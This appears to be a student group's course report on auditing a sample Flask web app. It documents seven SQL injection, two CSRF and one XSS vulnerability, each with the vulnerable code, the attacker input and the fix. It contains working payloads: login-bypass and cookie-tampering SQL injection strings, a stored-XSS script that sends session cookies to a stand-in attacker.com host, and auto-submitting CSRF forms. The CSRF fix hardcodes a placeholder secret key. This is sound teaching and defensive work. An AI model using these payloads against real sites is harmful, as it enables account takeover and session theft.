Introduction

For Machine Problem 3, our group — Aki, Lark, and Carl — was tasked with finding and fixing security vulnerabilities in a sample web application written in Python (Flask) with sqlite3 as its database. The application has a login page and a posts page where users can view and create their own posts.

Our scope was limited to SQL injection, CSRF, and XSS, though we also fixed related issues we came across. Going through the code, we found seven SQL injection vulnerabilities, two CSRF vulnerabilities, and one XSS vulnerability. Each one is documented below along with the fix we applied.

SQL Injection

The Problem

The original application built SQL queries by concatenating user input directly into query strings. This means an attacker can type SQL code into any input field or manipulate cookies to change what the query does.

SQLi-1 — Login Bypass via Password Field

Vulnerable code:

res = cur.execute("SELECT id from users WHERE username = '"
            + request.form["username"]
            + "' AND password = '"
            + request.form["password"] + "'")

How an attacker does it: On the login page, the attacker enters alice as the username and ' OR '1'='1 as the password. The app pastes the input directly into the query, producing:

WHERE (username = 'alice' AND password = '') OR ('1'='1')

'1'='1' is always true so the database returns alice's row and the attacker is logged in without ever knowing her password.

Fix:

res = cur.execute(
    "SELECT id FROM users WHERE username = ? AND password = ?",
    (request.form["username"], request.form["password"]),
)

SQLi-2 — Login Bypass Without Any Credentials

Vulnerable code: Same as SQLi-1.

How an attacker does it: The attacker enters ' OR 1=1 -- (with a trailing space) as the username and anything as the password. The query becomes:

WHERE username = '' OR 1=1 -- ' AND password = '...'

The -- comments out everything after it, removing the password check entirely. 1=1 is always true so the attacker logs in as the first user in the database without knowing any credentials.

Fix: Same parameterized query as SQLi-1.

SQLi-3 — Targeted User Bypass

Vulnerable code: Same as SQLi-1.

How an attacker does it: If the attacker knows a username, they enter alice' -- as the username and anything as the password. The query becomes:

WHERE username = 'alice' -- ' AND password = '...'

The -- comments out the password check. The database only checks the username, which matches, and the attacker logs in as alice specifically.

Fix: Same parameterized query as SQLi-1.

SQLi-4 — Session Hijack via Cookie

Vulnerable code:

res = cur.execute("SELECT users.id, username FROM users INNER JOIN sessions ON "
                  + "users.id = sessions.user WHERE sessions.token = '"
                  + request.cookies.get("session_token") + "'")

How an attacker does it: The attacker opens DevTools (F12) in a browser where they have never logged in, goes to Application → Cookies → http://localhost:5000, and sets the session_token cookie to ' OR '1'='1. Visiting /home produces:

WHERE sessions.token = '' OR '1'='1'

'1'='1' is always true so the query returns the first active session in the database. The attacker gains access to that user's account without ever logging in.

Fix:

res = cur.execute(
    "SELECT users.id, username FROM users "
    "INNER JOIN sessions ON users.id = sessions.user "
    "WHERE sessions.token = ?",
    (request.cookies.get("session_token"),),
)

SQLi-5 — Post Message Crash

Vulnerable code:

cur.execute("INSERT INTO posts (message, user) VALUES ('"
            + request.form["message"] + "', " + str(user[0]) + ");")

How an attacker does it: The attacker submits any post containing a single quote, such as it's a test. The quote breaks out of the SQL string early, causing a syntax error that crashes the app with a 500 Internal Server Error. The post is never saved and the app becomes unavailable until restarted.

Fix:

cur.execute(
    "INSERT INTO posts (message, user) VALUES (?, ?);",
    (request.form["message"], user[0]),
)

SQLi-6 — Post as Another User via Cookie

Vulnerable code: Same cookie concatenation pattern as SQLi-4 in the /posts route.

How an attacker does it: The attacker sets their session_token cookie to ' OR '1'='1 in DevTools, then submits a post. The session lookup returns the first active session in the database, and the post is saved under that user's account — the attacker posts as another user without knowing their credentials.

Fix: Same parameterized cookie lookup as SQLi-4 applied to /posts.

SQLi-7 — Force Logout via Cookie

Vulnerable code: Same cookie concatenation pattern in /logout.

How an attacker does it: The attacker opens a second browser, sets session_token to ' OR '1'='1 in DevTools, and visits /logout. The injected cookie matches the first active session in the database — alice's session is deleted even though the attacker never knew her token. When alice tries to visit /home she is redirected to login.

Fix: Same parameterized cookie lookup as SQLi-4 applied to /logout.

Root Cause and Fix Summary

All seven vulnerabilities share the same root cause — user input concatenated directly into SQL strings. The fix is the same in every case: use ? placeholders so input is always treated as data, never as SQL.

XSS (Cross-Site Scripting)

The Problem

The | safe filter in home.html disabled Jinja2's automatic HTML escaping on post content. Because posts are stored in the database and displayed to every user who visits the home page, an attacker can inject HTML or JavaScript that executes in the browser of anyone who views it — this is called a Stored XSS vulnerability.

Vulnerable code:

<li>{{ post[0] | safe }}</li>

XSS-1 — HTML Injection (Proof of Concept)

How an attacker does it: The attacker submits <b>hello</b> as a post. Instead of displaying the text literally, the browser renders it as bold — hello. This confirms the browser is executing raw HTML from post content, meaning any tag including <script> will also work.

XSS-2 — Script Injection

How an attacker does it: The attacker submits <script>alert('xss')</script> as a post. Every time any user loads the home page, the script executes in their browser and an alert box fires. Because the post is stored in the database, the attack persists and affects every user — not just the attacker.

XSS-3 — Cookie Theft

How an attacker does it: The attacker submits <script>alert(document.cookie)</script> as a post. The script reads the victim's session_token from document.cookie and displays it. In a real attack the alert would be replaced with a silent redirect that sends the cookie to the attacker's own server:

<script>document.location='http://attacker.com?c='+document.cookie</script>

With the stolen session token the attacker can log in as the victim without ever knowing their password.

Fix

In home.html — remove the | safe filter:

<li>{{ post[0] }}</li>

In app.py — add httponly=True to the session cookie so JavaScript cannot read it even if a script somehow runs:

response.set_cookie("session_token", token, httponly=True)

Jinja2 now escapes all HTML characters before sending them to the browser — <script> becomes <script> and is displayed as plain text. The HttpOnly flag ensures the session token is never accessible via document.cookie, limiting the damage of any XSS that may be found elsewhere.

CSRF (Cross-Site Request Forgery)

The Problem

The original application had no CSRF protection. Every form accepted POST requests without verifying they came from the app itself. Since the browser automatically attaches the session cookie to every request — including ones triggered by other sites — an attacker can perform actions on behalf of a logged-in user just by getting them to visit a malicious page.

CSRF-1 — Forged Post Creation

How an attacker does it: The attacker creates a page with a hidden form that auto-submits to /posts:

<body onload="document.forms[0].submit()">
  <form action="http://localhost:5000/posts" method="POST">
    <input name="message" value="forged post from attacker">
  </form>
</body>

When a logged-in user visits this page, the browser automatically submits the form and sends the session cookie along with it. The app accepts the request as legitimate and creates a post in the victim's account without their knowledge.

CSRF-2 — Forced Logout

How an attacker does it: The attacker embeds an image tag on any page:

<img src="http://localhost:5000/logout">

When a logged-in user views the page, the browser sends a GET request to /logout — including the session cookie. The app logs the victim out silently, without them ever clicking the logout button.

Fix

We observed that secrets was already imported in the original app.py for generating session tokens. We reused it alongside Flask's built-in session to implement manual CSRF protection with no extra dependencies.

In app.py — add session to imports and set a secret key:

from flask import Flask, request, render_template, redirect, session
app.secret_key = "yoursecretkey"

Generate a token on every page load that renders a form:

session["csrf_token"] = secrets.token_hex()
return render_template("login.html", csrf_token=session["csrf_token"])

Validate the token at the start of every POST route:

if request.form.get("csrf_token") != session.get("csrf_token"):
    return "CSRF token invalid", 400

Change logout from GET to POST so it cannot be triggered by a link or image tag:

@app.route("/logout", methods=["POST"])

In both templates — add a hidden token field inside every form:

<input type="hidden" name="csrf_token" value="{{ csrf_token }}">

Replace the logout link in home.html with a POST form:

<form method="post" action="/logout">
  <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
  <input type="submit" value="Logout">
</form>

A forged request from another site cannot include the correct token because it is randomly generated on each page load and stored in the victim's session — which the attacker has no access to. Without the token the server returns HTTP 400 and the request is rejected.